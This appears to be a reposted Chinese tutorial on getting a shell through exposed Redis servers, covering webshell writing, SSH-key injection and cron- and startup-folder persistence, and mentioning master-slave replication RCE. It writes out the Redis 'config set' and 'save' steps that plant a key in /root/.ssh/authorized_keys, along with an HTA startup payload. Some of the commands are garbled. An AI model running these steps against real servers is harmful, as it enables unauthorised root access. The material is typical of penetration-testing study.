概述
前言
参考文章
https://paper.seebug.org/1169
https://blog.csdn.net/weixin_55843787/article/details/123829606
https://blog.csdn.net/chenglanqi6606/article/details/100909518
Redis是什么
Redis是一款基于键值对的NoSQL数据库,它的值支持多种数据结构
常见方法
1、通过向Web目录中写webshell的方式进行getshell
2、通过写SSH key的方式进行getshell
3、通过写corntab的方式进行getshell
SSH Key
linux 系统使用 ssh 的用户目录下都会有一个隐藏文件夹/.ssh/。
只要把我们的公钥写在对方的 .ssh/authorized_keys 文件里再去用 ssh 连接就不需服务器的账号密码了
第1步:本地生成公钥文件
ssh-keygen–trsa
第2步:将生成的公钥写入到文件中
(echo -e “nnnn”; cat id_rsa.pub; echo -e “nnnn”) > pub.txt
第3步:设置路径、文件、写入公钥
config set dir /root/.ssh/
config set dbfilename “authorized_keys”
config set 233 “xxxx”
save
第4步:连接
ssh -i id_rsa root@xxx.xxx.xxx.xxx
计划任务
Windows
在 Windows 系统中有一个特殊的目录,在这个目录下的文件在开机的时候都会被运行。
<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>
我把这段JS执行 calc 命令的代码写到了该目录下
C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUpexp.hta
当系统启动时就会随之运行,从而执行攻击者的恶意代码。
linux:corntab
在 linux 系的系统有着定时任务的功能,只要文件可以写到定时任务目录里就可以执行系统命令。
/var/spool/cron/用户名
/var/spool/cron/crontabs/用户名
/etc/crontab
/etc/cron.d/xxx
注意:有些系统对 crontab 的文件内容的校验比较严格可能会导致无法执行定时任务。
主从复制 RCE
如果把数据存储在单个Redis的实例中,当读写数据量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写C语言并编译出 .so 文件。
漏洞复现参考文章:
https://blog.csdn.net/weixin_44971640/article/details/128117510
最后
以上就是忐忑石头为你收集整理的redis getshell方法前言Redis是什么常见方法SSH Key计划任务主从复制 RCE的全部内容,希望文章能够帮你解决redis getshell方法前言Redis是什么常见方法SSH Key计划任务主从复制 RCE所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复